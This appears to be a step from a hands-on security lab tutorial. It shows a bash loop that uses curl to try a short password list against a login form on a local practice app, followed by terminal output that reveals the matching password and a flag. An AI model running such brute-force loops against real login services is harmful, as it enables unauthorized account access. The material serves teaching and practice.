Brute forcing with a wordlist

Let the shell do the guessing

Instead of guessing by hand, loop a short list of common passwords and watch for the response that isn't a rejection:

for pw in 123456 letmein qwerty password123 admin; do
  echo "$pw -> $(curl -s -d "username=bob&password=$pw" http://127.0.0.1:8080/app/login | head -1)"
done

In the terminal

student@vulntech:~$ for pw in 123456 letmein qwerty password123 admin; do
>   echo "$pw -> $(curl -s -d "username=bob&password=$pw" http://127.0.0.1:8080/app/login | head -1)"
> done
123456 -> Invalid credentials
letmein -> Invalid credentials
qwerty -> Invalid credentials
password123 -> Welcome bob! Your secret: vulntech{weak_passwords_get_brute_forced}
admin -> Invalid credentials

One password comes back with Welcome bob! and a secret — that's the hit. Real wordlists (rockyou and friends) hold millions of entries; the logic is exactly this loop, just longer.